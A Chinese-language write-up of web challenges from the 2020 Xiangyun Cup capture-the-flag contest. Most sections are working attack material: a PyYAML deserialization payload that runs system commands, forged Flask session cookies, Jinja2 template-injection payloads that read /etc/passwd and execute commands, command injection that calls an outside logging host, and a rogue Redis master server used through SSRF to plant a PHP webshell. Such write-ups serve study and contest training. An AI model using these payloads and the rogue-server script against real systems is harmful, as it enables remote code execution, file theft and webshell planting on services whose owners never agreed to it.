2020祥云杯Web题目writeup

没有和学长一起打,干不动,太菜了。

0x01 profile system

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
session['priviledge'] = 'guest'
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)

/uploads路由存在路径穿越可以读取文件,

image-20201123220630565

读取文件后审计源码,可以得到pythonsessionsecretTh1s_is_A_Sup333er_s1cret_k1yyyyy,有上传yaml、yml文件的功能,在/view路由,会将客户端ip的md5值拼接到upload,然后再拼接session[filename],之后检查session['priviledge'] 是否为'elite'和拼接得到的文件名对应的文件是否存在;如果通过检查,则读取文件对应的内容,然后对文件内容进行正则的判断,

1
2
3
4
5
6
7
8
9
10
11
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
image-20201123230352889

上面正则对应的匹配模式如上图,禁止了

1
.  ^  _  `  ~

这些字符,如果能够通过正则的检测,就会执行yaml.load(data)`,这里有一个yaml的反序列化,uiuctf 2020考点和这道题一样,本地生成yaml文件,

1
2
3
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x77\x68\x6f\x61\x6d\x69\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x64\x39\x65\x38\x31\x39\x65\x37\x35\x34\x32\x62\x33\x34\x62\x38\x30\x35\x32\x36\x32\x61\x39\x61\x30\x65\x66\x61\x64\x38\x37\x2f\x33\x32\x31\x27\x29"

转十六进制的脚本

1
2
3
4
5
str = "__import__('os').system('whoami > ./uploads/4d9e819e7542b34b805262a9a0efad87/321')"
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '\\x') for c in s])

print str_to_hex(str)

本地测试在win10写文件写出来的换行是\r\n,linux写出来的文件换行是\n,开始用win10写的文件都包含\r,不能通过正则检查,之后用linux就可以了。%0d——\r %0a——\n

image-20201124202931172

为了能够执行到反序列化的点,生成session

1
2
python3 flask_session_cookie_manager3.py encode -s "Th1s_is_A_Sup333er_s1cret_k1yyyyy" -t "{'priviledge':'elite','filename':'aa.yaml'}"
eyJmaWxlbmFtZSI6ImFhLnlhbWwiLCJwcml2aWxlZGdlIjoiZWxpdGUifQ.X7zvPw.AKiTGPDlkdsETAUVmGYrxCc_7jk

image-20201124203341378

之后下载/uploads/4d9e819e7542b34b805262a9a0efad87/321就可以得到结果。

0x02 flaskbot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask,render_template,request,make_response,redirect,url_for,render_template_string
import math
import base64
import sys
app = Flask(__name__)

def safe(str):
black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
for x in black_list:
if x in str.lower():
return "Damn you hacker! You will never"
return str

def guessNum(num,name):
l=0
r=1000000000.0
mid=(l+r)/2.0
ret=""
cnt=0
while not abs(mid-num)<0.00001:
cnt=cnt+1
mid=(l+r)/2.0
if mid>num:
r=mid
ret+="{0}:{1} is too large<br/>".format(cnt,mid)
else:
l=mid
ret+="{0}:{1} is too small<br/>".format(cnt,mid)
if cnt > 50:
break
if cnt < 50:
ret+="{0}:{1} is close enough<br/>I win".format(cnt,mid)
else :
ret+="Wow! {0} win.".format(safe(name))
return ret


@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))

@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))

@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888)

image-20201124205419080

https://www.jianshu.com/p/d9caa4ab46e1

flask开启debug,可以进入console模式,但是需要pin码,会把pin码写进/var/log/app.log,可以通过读这个文件来获取pin码,因为是python2,直接用payload

  • 读文件
1
2
base64.b64encode("{{().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}")
'e3soKS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKVs0MF0oJy9ldGMvcGFzc3dkJykucmVhZCgpfX0='

image-20201124210300013

  • 执行命令
1
2
base64.b64encode('''{{().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['e'+'val']("__imp"+"ort__('o'+'s').po"+"pen('ls').read()")}}''')
'e3soKS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKVs1OV0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydlJysndmFsJ10oIl9faW1wIisib3J0X18oJ28nKydzJykucG8iKyJwZW4oJ2xzJykucmVhZCgpIil9fQ=='

image-20201124210912886

0x03 Command

这题学弟做的,下面是参考了网上的wp

1
url=|find%09/%09-ctime%09-20
1
2
3
4
5
url=a.iz99lj.ceye.io%0aecho%09ZmxhZw==|base64%09-d|xargs%09-
I%09x%09find%09/%09-name%09"x????"

127.0.0.1%0aecho%09L2V0Yy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09-
d|xargs%09sed%09""%09

image-20201123154353952

0x04 doyouknowssrf

GACTF原题,用wp的方法老是失败,可以主从同步复制exp.so,但是system.rev执行不了,之后试了一下,config set dir /var/www/html 然后利用,主从同步将一句话木马同步到靶机,(感觉这题不用主从复制,直接写马就可以)然后,访问木马,得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"

class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload

with open("a.php", 'rb') as f:
server = RoguoServer(('0.0.0.0', 6680), f.read())
server.handle_request()

设置/var/www/html目录

1
url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250aconfig%2520set%2520dir%2520%252fvar%252fwww%252fhtml%250d%250a1

主从复制🐎

1
url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250aconfig%2520set%2520dbfilename%2520a.php%250d%250aslaveof%2520ip%25206680%250d%250aquit%250a1

image-20201123233920735

0x05 easyzzzz

访问/更新日志.txt,可以知道是1.8.0版本,用这个可以注出密码,md5解密后登后台,后台有一个经典的修改模板导致的rce,

image-20201124211517841)直接用国赛的一道题的payload

image-20201124211628600

0x06 easygogogo